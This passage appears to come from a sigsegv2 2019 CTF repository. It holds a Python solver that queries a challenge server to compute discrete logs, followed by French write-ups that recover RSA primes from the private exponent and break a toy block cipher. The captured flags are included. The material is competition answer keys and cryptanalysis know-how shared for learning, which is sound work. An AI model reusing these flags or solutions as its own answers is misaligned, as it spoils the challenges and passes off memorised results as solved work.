sympy.ntheory.residue_ntheory import discrete_log 7 | from sympy.ntheory.generate import primerange 8 | import numpy as np 9 | from copy import deepcopy 10 | from itertools import combinations 11 | import random 12 | import time 13 | import sys 14 | from sacricat.client import Server, logging 15 | 16 | N = 1 17 | 18 | def rev_dict(d): 19 | new_dict = {} 20 | for k,v in d.items(): 21 | if v in new_dict: 22 | new_dict[v].append(k) 23 | else: 24 | new_dict[v] = [k] 25 | return new_dict 26 | 27 | def randint_by_corpus(): 28 | keys = list(Number.corpus_i.keys()) 29 | quo = random.choice(keys) 30 | rest = random.choice(keys) 31 | n = (quo * N + rest) 32 | p = random.randint(0,50) 33 | return n,p 34 | 35 | 36 | class Number(int): 37 | corpus_i = {} 38 | corpus_s = {} 39 | 40 | @classmethod 41 | def reset(cls): 42 | cls.corpus_i = {} 43 | cls.corpus_s = {} 44 | 45 | @classmethod 46 | def get_number(cls,squo_factors,srest_factors): 47 | def _get_number(sfactors): 48 | number = 1 49 | for factor, factor_pow in sfactors.items(): 50 | number *= cls.corpus_s[factor] ** factor_pow 51 | return number 52 | quo = _get_number(squo_factors) 53 | rest = _get_number(srest_factors) 54 | return int(quo * N + rest) 55 | 56 | @classmethod 57 | def get(cls,obj): 58 | if type(obj) in [int,np.int64] : 59 | if obj > N: 60 | quo,rest = Number.get_repr(obj) 61 | if quo and rest: 62 | return cls.corpus_i[quo], cls.corpus_i[rest] 63 | if quo: 64 | return cls.corpus_i[quo], None 65 | if rest: 66 | return None, cls.corpus_i[rest] 67 | else : 68 | return None, None 69 | elif obj in cls.corpus_i: 70 | return cls.corpus_i[obj] 71 | else: 72 | return None 73 | elif type(obj) in [str,np.str_]: 74 | if "_et_" in obj: 75 | squo,srest = obj.split("_et_") 76 | if squo and srest: 77 | return cls.corpus_s[squo], cls.corpus_s[srest] 78 | elif squo: 79 | return cls.corpus_s[squo], None 80 | elif srest: 81 | return None, cls.corpus_s[srest] 82 | else: 83 | return None, None 84 | elif obj in cls.corpus_s: 85 | return cls.corpus_s[obj] 86 | else: 87 | return None 88 | else: 89 | print("Unknown type in Number.get :"+str(obj)+" "+str(type(obj))) 90 | return None 91 | 92 | @classmethod 93 | def add(cls,i,s): 94 | print("add :",i,s) 95 | cls.corpus_i[i] = s 96 | cls.corpus_s[s] = i 97 | 98 | @classmethod 99 | def get_repr(cls,obj): 100 | if type(obj) in [int,np.int64] : 101 | if obj > N: 102 | return obj // N, obj % N 103 | return obj 104 | elif type(obj) in [str,np.str_]: 105 | if "_et_" in obj: 106 | squo,srest = obj.split("_et_") 107 | return squo,srest 108 | else: 109 | return obj 110 | else: 111 | print("Unknown type in Number.get_repr :"+str(obj)+" "+str(type(obj))) 112 | return None 113 | 114 | def __contains__(self,obj): 115 | if type(obj) in [int,np.int64] : 116 | if obj < N: 117 | return obj in self.corpus_i 118 | else: 119 | return (obj // N in Number() and obj % N in Number()) 120 | elif type(obj) in [str,np.str_]: 121 | if "_et_" not in obj: 122 | return obj in self.corpus_s 123 | else: 124 | squo,srest = obj.split("_et_") 125 | return (squo in Number() and rest in Number()) 126 | elif type(obj) is dict: 127 | keys = list(obj) 128 | for key in keys: 129 | if key not in Number(): 130 | return None 131 | return True 132 | else: 133 | print("Unknown type in Number.__contains__ :"+str(obj)+" "+str(type(obj))) 134 | sys.exit(0) 135 | return None 136 | 137 | def to_s(self): 138 | if self < N: 139 | return self.corpus_i[self] 140 | return str(self) 141 | 142 | def to_i(self,string): 143 | return self.corpus_s[string] 144 | 145 | class SubCorpus(): 146 | subcorpus = [] 147 | 148 | @classmethod 149 | def compare(cls): 150 | changed = True 151 | while changed: 152 | changed = False 153 | list_corpus = deepcopy(cls.subcorpus) 154 | new_corpus = [] 155 | 156 | for corpus, corpus2 in combinations(list_corpus,2): 157 | factor_pows = list(corpus.factors.keys()) 158 | factor_pows2 = list(corpus2.factors.keys()) 159 | 160 | for factor_pow in factor_pows: 161 | if not (factor_pow in corpus.factors and factor_pow in corpus2.factors): 162 | continue 163 | intersection = list(np.intersect1d(corpus.factors[factor_pow],corpus2.factors[factor_pow])) 164 | intersection.sort() 165 | sintersection = list(np.intersect1d(corpus.sfactors[factor_pow],corpus2.sfactors[factor_pow])) 166 | sintersection.sort() 167 | if len(intersection) == 0 or \ 168 | (len(intersection) == len(corpus.factors[factor_pow]) and len(intersection) == len(corpus2.factors[factor_pow])): 169 | # Here intersection is empty or full so we can't deduce anything. 170 | if corpus not in new_corpus: 171 | new_corpus.append(corpus) 172 | if corpus2 not in new_corpus: 173 | new_corpus.append(corpus2) 174 | elif len(intersection) == 1: 175 | # Only one element in the intersection, so we can deduce 1 number from it. 176 | changed = True 177 | Number.add(intersection[0],sintersection[0]) 178 | 179 | # Remove the corpus from the list to be processed 180 | # because we're gonna change them 181 | if corpus in new_corpus: 182 | new_corpus.remove(corpus) 183 | if corpus2 in new_corpus: 184 | new_corpus.remove(corpus2) 185 | 186 | # Removal of the element added to our general corpus 187 | corpus.factors[factor_pow].remove(intersection[0]) 188 | corpus.sfactors[factor_pow].remove(sintersection[0]) 189 | 190 | # Let's check the first corpus, if it's useful to process it again. 191 | if corpus.verify() and corpus not in new_corpus: 192 | new_corpus.append(corpus) 193 | 194 | # Removal of the element added to our general corpus 195 | corpus2.factors[factor_pow].remove(intersection[0]) 196 | corpus2.sfactors[factor_pow].remove(sintersection[0]) 197 | 198 | # Let's check the second corpus, if it's useful to process it again. 199 | if corpus2.verify() and corpus2 not in new_corpus: 200 | new_corpus.append(corpus2) 201 | 202 | elif len(intersection) > 1: 203 | # There are several elements in the intersection 204 | # Xor can give us something more to know 205 | # Potentially another number with the xor of the 2 corpus 206 | changed = True 207 | xor = list(np.setxor1d(corpus.factors[factor_pow],corpus2.factors[factor_pow])) 208 | xor.sort() 209 | sxor = list(np.setxor1d(corpus.sfactors[factor_pow],corpus2.sfactors[factor_pow])) 210 | sxor.sort() 211 | 212 | # We delete the 2 corpus, because we will add the intersection and their xor 213 | if corpus in new_corpus: 214 | new_corpus.remove(corpus) 215 | if corpus2 in new_corpus: 216 | new_corpus.remove(corpus2) 217 | 218 | if len(xor) == 1: 219 | # if the xor returns a single element then we add it to the general corpus 220 | Number.add(xor[0],sxor[0]) 221 | else: 222 | # otherwise you have to consider the corpus of xor 223 | c_xor = SubCorpus({factor_pow:xor},{factor_pow:sxor},False) 224 | if c_xor and c_xor not in new_corpus: 225 | new_corpus.append(c_xor) 226 | # Add the corpus of the intersection 227 | c_inter = SubCorpus({factor_pow:intersection},{factor_pow:sintersection},False) 228 | if c_inter and c_inter not in new_corpus: 229 | new_corpus.append(c_inter) 230 | if new_corpus: 231 | # If the new_corpus is not empty then we update our list of sub-corpuses 232 | for index in range(len(new_corpus)-1,-1,-1): 233 | if not new_corpus[index]: 234 | new_corpus.pop(index) 235 | cls.subcorpus = new_corpus 236 | return new_corpus 237 | 238 | def __init__(self,factors, sfactors,add=True): 239 | skeys = list(sfactors.keys()) 240 | if type(skeys[0]) == str: 241 | self.factors = rev_dict(factors) 242 | self.sfactors = rev_dict(sfactors) 243 | else: 244 | self.factors = factors 245 | self.sfactors = sfactors 246 | 247 | for k in self.factors: 248 | self.factors[k].sort() 249 | for k in self.sfactors: 250 | self.sfactors[k].sort() 251 | 252 | self._add = add 253 | self.validated = self.verify() 254 | 255 | if self.validated and self._add: 256 | self.subcorpus.append(self) 257 | self.compare() 258 | 259 | def __str__(self): 260 | return "" 261 | 262 | def __repr__(self): 263 | return "" 264 | 265 | def __eq__(self,other): 266 | if isinstance(other,self.__class__): 267 | return (self.factors == other.factors and self.sfactors == other.sfactors) 268 | return False 269 | 270 | def __bool__(self): 271 | return self.validated 272 | 273 | def _len(self): 274 | length = 0 275 | for k in self.factors: 276 | length += len(self.factors[k]) 277 | print("length :",self,length) 278 | return length 279 | 280 | def _verify_element_under_N(self,factor_pow,factors,sfactors): 281 | changed = False 282 | # Check for duplicates 283 | for fl in [factors,sfactors]: 284 | for index in range(len(fl)-1,-1,-1): 285 | factor = fl[index] 286 | if factor in Number(): 287 | if type(factor) is int: 288 | self.factors[factor_pow].remove(factor) 289 | else: 290 | self.sfactors[factor_pow].remove(factor) 291 | fl.pop(index) 292 | changed = True 293 | 294 | if len(factors) == 1 and factors[0] not in Number(): 295 | # If there's only one thing left, then we know what it is. 296 | Number.add(factors[0],sfactors[0]) 297 | self.factors[factor_pow].remove(factors[0]) 298 | self.sfactors[factor_pow].remove(sfactors[0]) 299 | changed = True 300 | elif len(self.factors[factor_pow]) == 0: 301 | # If there is no longer a factor for the given power then 302 | # the empty factor table for the given power is deleted 303 | self.factors.pop(factor_pow) 304 | self.sfactors.pop(factor_pow) 305 | changed = True 306 | return changed 307 | 308 | def _verify_element_upper_N(self,factor_pow,factors,sfactors): 309 | changed = False 310 | # Check for duplicates and known partial values 311 | for index in range(len(factors)-1,-1,-1): 312 | factor = factors[index] 313 | quo, rest = Number.get_repr(factor) 314 | squo = Number.get(quo) 315 | srest = Number.get(rest) 316 | if squo and srest: 317 | # It's a duplicate 318 | self.factors[factor_pow].remove(factor) 319 | factors.pop(index) 320 | changed = True 321 | elif squo or rest: 322 | # The quotient is known, let's see if we can deduce the rest. 323 | potential_sfactors = [sf for sf in sfactors if squo in sfactors] 324 | # If there's only one, then it's all right, we know the rest. 325 | # Otherwise you can't know yet without dealing with other values. 326 | # So we'll go back to the verification function, because we're going to modify the corpus. 327 | if len(potential_sfactors) == 1: 328 | Number.add(rest,srest) 329 | self.factors[factor_pow].remove(factor) 330 | self.sfactors[factor_pow].remove(factor) 331 | changed = True 332 | elif srest: 333 | # The rest is known, let's see if we can deduce the quotient 334 | potential_sfactors = [sf for sf in sfactors if srest in sfactors] 335 | # If there's only one, then it's all right, we know the quotient. 336 | # Otherwise you can't know yet without dealing with other values. 337 | # So we'll go back to the verification function, because we're going to modify the corpus. 338 | if len(potential_sfactors) == 1: 339 | Number.add(quo,squo) 340 | self.factors[factor_pow].remove(factor) 341 | self.sfactors[factor_pow].remove(factor) 342 | changed = True 343 | 344 | 345 | if len(factors) == 1: 346 | # If there's only one thing left then we know it 347 | quo,rest = Number.get_repr(factors[0]) 348 | squo,srest = sfactors[0].split('_et_') 349 | if quo not in Number(): 350 | Number.add(quo,squo) 351 | if rest not in Number(): 352 | Number.add(rest,srest) 353 | self.factors[factor_pow].remove(factors[0]) 354 | self.sfactors[factor_pow].remove(sfactors[0]) 355 | if quo in self.factors[factor_pow]: self.factors[factor_pow].remove(quo) 356 | if rest in self.factors[factor_pow]: self.factors[factor_pow].remove(rest) 357 | if squo in self.sfactors[factor_pow]: self.sfactors[factor_pow].remove(squo) 358 | if srest in self.sfactors[factor_pow]: self.sfactors[factor_pow].remove(srest) 359 | return True 360 | elif factor_pow in self.factors and len(self.factors[factor_pow]) == 0: 361 | # If there is no longer a factor for the given power then 362 | # the empty factor table for the given power is deleted 363 | self.factors.pop(factor_pow) 364 | self.sfactors.pop(factor_pow) 365 | return True 366 | 367 | def verify(self): 368 | factor_pows = list(self.factors.keys()) 369 | for factor_pow in factor_pows: 370 | changed = True 371 | while changed and factor_pow in self.factors: 372 | changed = False 373 | if len(self.factors) == 0: 374 | # As the subcorpus is empty, it is not validated. 375 | self.validated = False 376 | return False 377 | 378 | # We treat the elements according to their position against N 379 | factors_under_N = [f for f in self.factors[factor_pow] if f < N] 380 | sfactors_under_N = [f for f in self.sfactors[factor_pow] if "_et_" not in f] 381 | factors_upper_N = [f for f in self.factors[factor_pow] if f >= N] 382 | sfactors_upper_N = [f for f in self.sfactors[factor_pow] if "_et_" in f] 383 | 384 | changed = self._verify_element_under_N(factor_pow,factors_under_N,sfactors_under_N) 385 | 386 | if self._verify_element_upper_N(factor_pow,factors_upper_N,sfactors_upper_N): 387 | changed = True 388 | # The subcorpus is validated 389 | self.validated = True 390 | return True 391 | 392 | def fill_corpus(number,string,n=N): 393 | quo,rest = Number.get_repr(number) 394 | string = string.split('_et_') 395 | if len(string) == 2: 396 | Number.add(quo,string[0]) 397 | Number.add(rest,string[1]) 398 | else: 399 | Number.add(quo,string[0]) 400 | 401 | return quo,rest 402 | 403 | def get_factors(number,po): 404 | client.sendLine("1") 405 | client.recvUntil("(ligne vide pour finir)\n") 406 | line = number 407 | 408 | if type(number) == int or type(number) == np.int64: 409 | number = int(number) 410 | quo, rest = Number.get(number) 411 | line = quo 412 | if rest: 413 | line += "_et_"+rest 414 | 415 | line += "-"+str(po) 416 | client.sendLine(line) 417 | client.sendLine() 418 | resp = client.recvUntil("[.] 3 - Quitter\n") 419 | if type(resp) is not str: 420 | resp = resp.decode('utf8') 421 | resp = resp.split('Quoi faire ?')[0].strip().split('\n')[-1].split(' = ') 422 | 423 | if len(resp) == 2: 424 | resp = resp[1].strip() 425 | factors = {factor.split('^')[0].strip() : int(factor.split('^')[1].strip()) for factor in resp.split('*')} 426 | return factors 427 | return None 428 | 429 | def do_number(number,po=1): 430 | pow_number = pow(int(number),po, p) 431 | factors = factorint(pow_number) 432 | sfactors = get_factors(number,po) 433 | 434 | if sfactors: 435 | s = SubCorpus(factors,sfactors) 436 | 437 | def check_corpus(a_quo_sfactors,a_rest_sfactors,b_quo_sfactors,b_rest_sfactors): 438 | if a_quo_sfactors in Number() and \ 439 | a_rest_sfactors in Number() and \ 440 | b_quo_sfactors in Number() and \ 441 | b_rest_sfactors in Number(): 442 | return True 443 | return False 444 | 445 | while 1: 446 | N = 4500 # level 1 447 | N =200000 # Level 2 448 | NB_REQUESTS = 500 449 | 450 | Number.reset() 451 | primes_N = primerange(0,N) 452 | 453 | # Your socket librairy 454 | # client = Server('finale-challs.rtfm.re',5557)# level 2 455 | # client = Server('finale-challs.rtfm.re',5555)# level 1 456 | client = Server('127.0.0.1',4242,logLevel=logging.DEBUG) # local test 457 | 458 | resp = client.recvUntil("[.] 3 - Quitter\n") 459 | # resp = resp.decode('utf-8') 460 | resp = resp.split('\n') 461 | 462 | for r in resp: 463 | if "tu pourras rentrer lignes par ligne des expressions comme" in r: 464 | resp_first = r.split(' ')[-1][:-2] 465 | if "L'expression indiquée correspond à un nombre entre 2 et " in r: 466 | p = int(r.split(',')[0].split('et ')[1])+1 467 | if "Combien de" in r: 468 | A = r.split(' y a-t-il dans ')[0].split("Combien de ")[1].strip() 469 | B = r.split(' y a-t-il dans ')[1].split("?")[0].strip() 470 | print("P :",p," Challenge :",A,"dans",B,"?") 471 | 472 | try: 473 | a_quo_sfactors = get_factors(A.split("_et_")[0],1) 474 | a_rest_sfactors = get_factors(A.split("_et_")[1],1) 475 | b_quo_sfactors = get_factors(B.split("_et_")[0],1) 476 | b_rest_sfactors = get_factors(B.split("_et_")[1],1) 477 | except Exception as e: 478 | print(e) 479 | # For N = 200 000, there's less chance of quickly finding 480 | # the translation of the numbers into the primary factors 481 | # If there is only the quotient, the probability that it is > 20000 is very high. 482 | client.close() 483 | continue 484 | 485 | first = 4500*3256+1829 486 | quo, rest = fill_corpus(first,resp_first) 487 | do_number(first) 488 | 489 | iteration = 1 490 | 491 | while not check_corpus(a_quo_sfactors,a_rest_sfactors,b_quo_sfactors,b_rest_sfactors) and iteration < NB_REQUESTS: 492 | i = 1 493 | prime = next(primes_N) 494 | print("test",prime) 495 | while prime in Number(): 496 | prime = next(primes_N) 497 | while (prime * (i)) < p: 498 | try: 499 | power = discrete_log(p,prime*i,first) 500 | break 501 | except Exception as e: 502 | i += 1 503 | continue 504 | if power: 505 | iteration += 1 506 | print("iteration :",iteration,"for",prime,end=" | ") 507 | do_number(first,power) 508 | 509 | print("nb corpus elts :",len(Number.corpus_i),"nb iteration :",iteration) 510 | print("P :",p," Challenge :",A,"dans",B,"?") 511 | if check_corpus(a_quo_sfactors,a_rest_sfactors,b_quo_sfactors,b_rest_sfactors): 512 | A = Number.get_number(a_quo_sfactors,a_rest_sfactors) 513 | B = Number.get_number(b_quo_sfactors,b_rest_sfactors) 514 | 515 | sol = discrete_log(p,B,A) 516 | print("A et B:",A,B," sol:",sol) 517 | 518 | client.sendLine("2") 519 | client.recv(512) 520 | client.sendLine(str(sol)) 521 | resp = client.recv(512) 522 | print(resp) 523 | client.close() 524 | if "tiens le flag pour toi" in resp: 525 | sys.exit(0) 526 | 527 | # b'Bien jou\xc3\xa9, tiens le flag pour toi: sigsegv{0mg_but_did_u_re4ll1_ind3x_C4lculused_th3_CH411_0r_ch3413D?}\n' 528 | # b'Bien jou\xc3\xa9, tiens le flag pour toi: sigsegv{H4rD_t1m3_f0r_Z/PZ_t0_B3_iS0m0rph1sm3D}\n' 529 | -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/readme.md: -------------------------------------------------------------------------------- 1 | # RektSA 1 vs 100 2 | 3 | (Auteur: Titanex) 4 | 5 | ## Description 6 | 7 | Voici la suite directe du challenge RektSA créé par [SIben](https://twitter.com/_siben_?lang=fr) 8 | 9 | ``` 10 | [FR] 11 | Auteur : SIben Difficulté estimée : facile 12 | 13 | Description : J'ai entendu que t'avais pas besoin de r dans la première version du challenge ? Et maintenant ? 14 | 15 | http://finale-challs.rtfm.re:9002 16 | 17 | [EN] 18 | Author: SIben 19 | Estimated difficulty: easy 20 | 21 | Description: Heard you didn't need r to solve the first version of the challenge? How about now? 22 | 23 | http://finale-challs.rtfm.re:9002 24 | ``` 25 | 26 | ## Le challenge 27 | 28 | Commençons par lire le fichier encrypt.py joint au challenge : 29 | 30 | ```python 31 | #!/usr/bin/python2.7 32 | 33 | import sys 34 | from secret import FLAG 35 | from Crypto.Util.number import getPrime, bytes_to_long 36 | from gmpy2 import invert 37 | 38 | for _ in range(100): 39 | p = getPrime(1024) 40 | q = getPrime(1024) 41 | r = getPrime(1028) 42 | 43 | e = 0x10001 44 | 45 | N = p * q * r 46 | phi = (p - 1) * (q - 1) * (r - 1) 47 | print 'p =', p 48 | print 'q =', q 49 | print 'N =', N 50 | print 'true_phi =', phi 51 | print 'phi =', phi % 2**2050 52 | print 'r =', r 53 | 54 | print 'Give me d, p and q: ' 55 | 56 | sys.stdout.flush() 57 | 58 | try: 59 | d, p, q = [int(inp) for inp in raw_input().split(' ')] 60 | except: 61 | print 'Invalid input!' 62 | exit(1) 63 | 64 | if d == invert(e, phi) and p * q * r == N: 65 | continue 66 | 67 | print 'Nope!' 68 | exit(1) 69 | 70 | print 'Congratulations: %s' % FLAG 71 | ``` 72 | 73 | Comme nous nous y attendions au vu du nom du challenge, le script est très proche du challenge initial. 74 | L'unique différence est qu'il faut trouver p et q en plus de d. Challenge accepted ! 75 | 76 | ## Résolution 77 | ### Trouver d 78 | 79 | Je ne reviendrais pas sur cette partie, car elle est très bien documentée par les write-ups disponibles sur le site de [rtfm.re](https://rtfm.re/writeups.html) 80 | 81 | ### Trouver p et q 82 | 83 | Pour trouver p et q, nous allons utiliser d, qui est l'exposant de déchiffrement dans un système RSA. 84 | 85 | Pour rappel: 86 | - chiffrer un message dans RSA : `c = m ** e mod n` 87 | - déchiffrer un message dans RSA : `m = c ** d mod n` 88 | - et donc, `d * e = 1 mod n` 89 | 90 | Ici, une des possibilités serait de se plonger dans l'arithmétique, mais gardons cela pour les autres challenges. 91 | J'ai choisi la solution de réutiliser un code déjà fonctionnel très utilisé dans les challenges de crypto RSA : [rsatool](https://github.com/ius/rsatool) 92 | 93 | En effet, ce code offre la possibilité de récupérer les nombres premiers d'une clé RSA en lui donnant l'exposant de déchiffrement et N. Le seul travail à faire est donc d'adapter la fonction pour un RSA multiprime ou d'adapter notre problème à un RSA classique. Une petite modification aussi pour la rendre compatible Python3. 94 | 95 | ```python 96 | def factor_modulus(n, d, e): 97 | """ 98 | source : https://github.com/ius/rsatool/blob/master/rsatool.py 99 | 100 | Efficiently recover non-trivial factors of n 101 | See: Handbook of Applied Cryptography 102 | 8.2.2 Security of RSA -> (i) Relation to factoring (p.287) 103 | http://www.cacr.math.uwaterloo.ca/hac/ 104 | """ 105 | t = (e * d - 1) 106 | s = 0 107 | 108 | while True: 109 | quotient, remainder = divmod(t, 2) 110 | if remainder != 0: 111 | break 112 | s += 1 113 | t = quotient 114 | found = False 115 | 116 | while not found: 117 | i = 1 118 | a = random.randint(1,n-1) 119 | while i <= s and not found: 120 | c1 = pow(a, pow(2, i-1, n) * t, n) 121 | c2 = pow(a, pow(2, i, n) * t, n) 122 | found = c1 != 1 and c1 != (-1 % n) and c2 == 1 123 | i += 1 124 | 125 | p = math.gcd(c1-1, n) 126 | q = n // p 127 | return p, q 128 | ``` 129 | 130 | Par chance, nous connaissons déjà r, c'est-à-dire 1 facteur sur les 3. Nous pouvons donc réduire le problème à un RSA classique, car : 131 | - `phi(p * q * r) = (p-1) * (q-1) * (r-1)` => permet de récupérer l'exposant de déchiffrement de notre système RSA multiprime. 132 | - `phi(p * q) = (p-1) * (q-1)` => permet de récupérer l'exposant de déchiffrement du système RSA où `n = p * q = N // r` 133 | 134 | Hors nous connaissons `phi(p * q)`,puisque `phi(p * q) = phi(p * q * r) / (r-1)` 135 | Ainsi, nous pouvons adapter notre problème à la fonction de rsatool. 136 | 137 | Et voici le flag : `Congratulations: sigsegv{s0_y0u_c4n_s0lv3_1t_w1th_r_4ft3r_4ll...}` 138 | 139 | ## Script 140 | 141 | Voici la boucle finale (code basé sur la solution de [Asterix45](https://rtfm.re/writeups/Asterix45.html)) : 142 | (L'objet `Server` représente votre librairie préférée pour gérer les sockets) 143 | 144 | [Lien vers le script](rektsa_1_vs_100/solve.py) 145 | 146 | 147 | ------ 148 | 149 | # Alice au pays des block-ciphers 150 | 151 | (Auteur: Titanex) 152 | 153 | ## Description 154 | 155 | Voici un petit challenge par JcVd sur un block cipher custom parce que nous savons tous que AES n'est pas sûr du tout. 156 | 157 | ``` 158 | [FR] 159 | Auteur : JcVd 160 | Difficulté estimée : moyenne 161 | 162 | Description : 163 | Alice a décidé d'implémenter son propre block cipher. Vous avez un ciphertext, quelques paramètres, et une vue d'ensemble de l'algorithme à votre disposition. Retrouvez le texte en clair ! 164 | 165 | [EN] 166 | Author: JcVd Estimated difficulty: medium 167 | 168 | Description: 169 | Alice decided to implement her own block cipher. You're given a ciphertext, some parameters, and an overview of the algorithm. Get the plaintext back! 170 | ``` 171 | 172 | ## Le challenge 173 | 174 | Nous avons à notre disposition l'algorithme en pseudo-code utilisé par Alice pour communiquer avec Bob. 175 | 176 | ![image_de_l_algorithme](alice/encryption.png) 177 | 178 | Oscar ayant intercepté un message, nous devons le décrypter: 179 | 180 | ```python 181 | ciphertext = '0dede85ca916c63e83eefb630ff1c6802fd38478eb62683ce9b69763dbafca80' 182 | c = ['68636d62627672786f626e656e616771', 183 | '6870666a7a796f6c67737477696c6772', 184 | '63796a7476616a72676a7373796f6969', 185 | '786d696578756963796971616e6d787a', 186 | '6777766d6e747571656a656b667a6c75', 187 | '7a6b6c6a636c6f6972747a7371636d65', 188 | '6f6c7376747a737471637a636e61796d', 189 | '686e6c746266686b7a6b796c707a6c66', 190 | '7476646b646a78677571656561726c79', 191 | '757974736a756165706f747472627479', 192 | '6c6e6c696d6e70767a72737565766973', 193 | '6a787a727465756e7362637374747368'] 194 | r = [97, 115, 27, 44, 92, 55, 27, 73, 120, 13, 112, 1] 195 | 196 | # Good luck! 197 | ``` 198 | 199 | Généralement, les challenges sur les blocks ciphers se résolvent en écrivant les équations liant le message, la clé et le chiffré. Sinon, vous remarquez une caractérisque particulière sur les vecteurs générés et dans ce cas, des solvers comme [Z3](https://github.com/Z3Prover/z3) peuvent être utiles. 200 | 201 | ## Résolution 202 | 203 | ### Paramètres et fonctions de l'algorithme 204 | 205 | Avant d'aller plus loin, nous devons trouver la taille des vecteurs de la clé et du message. En analysant les datas, nous voyons que les éléments de c sont des vecteurs de 16 octets sous forme hexadécimale (32 caractères). 206 | 207 | Le vecteur r est composé aussi de 16 éléments. Nous en déduisons que la clé fait 16 éléments, car la clé subit une rotation de r éléments soit par la gauche (ROTL) ou par la droite (ROTR). 208 | 209 | Nous avons donc 2 blocs de message dans le ciphertext (64 caractères hexadécimaux => 32 octets de donnés). 210 | 211 | Pour finir, les fonctions ROTL et ROTR vont agir sur l'ensemble des bits et non pas sur les octets du vecteur en entrée, car les éléments de R sont compris entre 0 et 128 (128 = 8\*16). 212 | 213 | ### Trouver les équations 214 | 215 | Voulant éviter d'utiliser mes derniers cachets d'aspirines, je préfère scripter le système cryptographique pour en ressortir les équations. 216 | 217 | Pour ce faire, nous allons définir 2 vecteurs où chaque élément représente un bit et nous travaillerons uniquement sur 0 et 1 pour les valeurs entières : 218 | - un vecteur m de 128 éléments: `["m1",...,"m128"]` 219 | - un vecteur k de 128 éléments: `["k1",...,"k128"]` 220 | 221 | Les vecteurs c devront être convertis à des vecteurs d'entiers (0 ou 1) de 128 éléments. 222 | 223 | ```python 224 | new_c = [] 225 | for vc in c: 226 | new_vc = [] 227 | for i in range(0,len(vc),2): 228 | for b in bin(int(vc[i:i+2],16))[2:].zfill(8): 229 | new_vc.append(int(b,2)) 230 | new_c.append(new_vc) 231 | c = new_c 232 | ``` 233 | Les fonctions doivent être implémentées pour simuler les opérations souhaitées (xor, rotation) sur les chaines de caractères. 234 | 235 | Et enfin, il est impératif de simplifier les équations pour la lisibilité des équations. Par chance, la seule opération présente est le xor qui se simplifie trés simplement : 236 | - `"m42 ^ m42"` donne `"0"` 237 | - `"m42 ^ m42 ^ 1"` donne `"1"` 238 | - `"m42 ^ 1 ^ 1"` donne `"m42"` 239 | 240 | ```python 241 | m = ["m%s" % i for i in range(128)] 242 | k = ["k%s" % i for i in range(128)] 243 | ``` 244 | 245 | Voici l'implémentation du système cryptographique d'Alice prêt à nous donner les équations : 246 | 247 | ```python 248 | import re 249 | 250 | def simplifyXor(equation,mult=False): 251 | operands = list(set(equation.split('^'))) 252 | operands.sort() 253 | dict_operand = {} 254 | for operand in operands: 255 | count = len(re.findall('(?=\^%s\^)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 256 | count += len(re.findall('(?=^%s\^)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 257 | count += len(re.findall('(?=\^%s$)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 258 | dict_operand[operand] = count % 2 # We are xorring, so we have to keep only the operands appearing an odd number of times. 259 | equation = "" 260 | xor_equation_value = 0 261 | for operand, count in dict_operand.items(): 262 | if count == 1: # the operand must be kept 263 | if 'k' in operand or 'm' in operand: 264 | equation += "^"+operand 265 | else: 266 | xor_equation_value ^= int(operand) # the integers are xorred together to have more than one at the end (xor is commutative and associative) 267 | if xor_equation_value != 0: 268 | equation += "^"+str(xor_equation_value) 269 | equation = equation[1:] 270 | return equation 271 | 272 | 273 | def sROTR(key,r): 274 | return key[-r:] + key[:-r] 275 | 276 | def sROTL(key,r): 277 | return key[r:] + key[:r] 278 | 279 | def sXor(a,b): 280 | res = [] 281 | for i in range(len(a)): 282 | res.append(simplifyXor("%s^%s" % (a[i],b[i]))) 283 | return res 284 | 285 | def sRound_key(key,r): 286 | keys = [key] 287 | for i in range(1,12): 288 | if i % 2 == 1: 289 | keys.append(sROTR(keys[i-1],r[i-1])) 290 | else: 291 | keys.append(sROTL(keys[i-1],r[i-1])) 292 | return keys 293 | 294 | def sEncrypt(plain,key,r,c): 295 | keys = sRound_key(key,r) 296 | print("--- round keys ---") 297 | print(len(keys)) 298 | for k in keys: 299 | print(k) 300 | cipher = plain 301 | for i in range(11): 302 | print("--- Step",i,"---") 303 | cipher = sXor(cipher,keys[i]) 304 | print("Xor :",cipher) 305 | cipher = sROTR(cipher,r[i]) 306 | print("Rotr :",cipher) 307 | cipher = sXor(cipher,c[i]) 308 | print("Xor :",cipher) 309 | cipher = sXor(cipher,keys[11]) 310 | print("--- Encrypt :",cipher) 311 | return cipher 312 | ``` 313 | 314 | Ce code nous génère les équations suivantes : 315 | 316 | ``` 317 | --- Encrypt : ['m121^1', 'm122^1', 'm123', 'm124^1', 'm125', 'm126^1', 'm127', 'm0^1', 'm1', 'm2', 'm3', 'm4', 'm5^1', 'm6', 'm7^1', 'm8^1', 'm9', 'm10', 'm11^1', 'm12^1', 'm13^1', 'm14', 'm15^1', 'm16', 'm17^1', 'm18', 'm19', 'm20^1', 'm21', 'm22', 'm23^1', 'm24', 'm25', 'm26^1', 'm27', 'm28', 'm29^1', 'm30^1', 'm31^1', 'm32^1', 'm33^1', 'm34^1', 'm35', 'm36^1', 'm37^1', 'm38^1', 'm39', 'm40', 'm41', 'm42', 'm43', 'm44', 'm45^1', 'm46', 'm47', 'm48', 'm49^1', 'm50^1', 'm51', 'm52^1', 'm53', 'm54', 'm55^1', 'm56', 'm57', 'm58^1', 'm59^1', 'm60^1', 'm61', 'm62^1', 'm63', 'm64^1', 'm65', 'm66', 'm67', 'm68', 'm69^1', 'm70', 'm71', 'm72', 'm73', 'm74^1', 'm75', 'm76^1', 'm77', 'm78', 'm79', 'm80^1', 'm81^1', 'm82', 'm83', 'm84', 'm85', 'm86^1', 'm87^1', 'm88^1', 'm89', 'm90^1', 'm91^1', 'm92', 'm93^1', 'm94', 'm95', 'm96^1', 'm97', 'm98^1', 'm99', 'm100', 'm101^1', 'm102^1', 'm103^1', 'm104^1', 'm105', 'm106', 'm107^1', 'm108', 'm109', 'm110', 'm111^1', 'm112', 'm113^1', 'm114^1', 'm115^1', 'm116', 'm117', 'm118', 'm119', 'm120'] 318 | ``` 319 | 320 | Nous avons donc `c1 = m121 ^ 1`, etc... Ce qui veut dire que l'algorithme d'Alice génère un ciphertext indépendant de la clé utilisée. Amusez-vous à commenter les lignes utilisant les clés dérivées, vous obtiendrez le même résultat. 321 | 322 | ### Décryptage 323 | 324 | Eh bien, il ne reste plus qu'à appliquer ces équations sur le ciphertext qui sera converti en 2 vecteurs de bits: 325 | 326 | 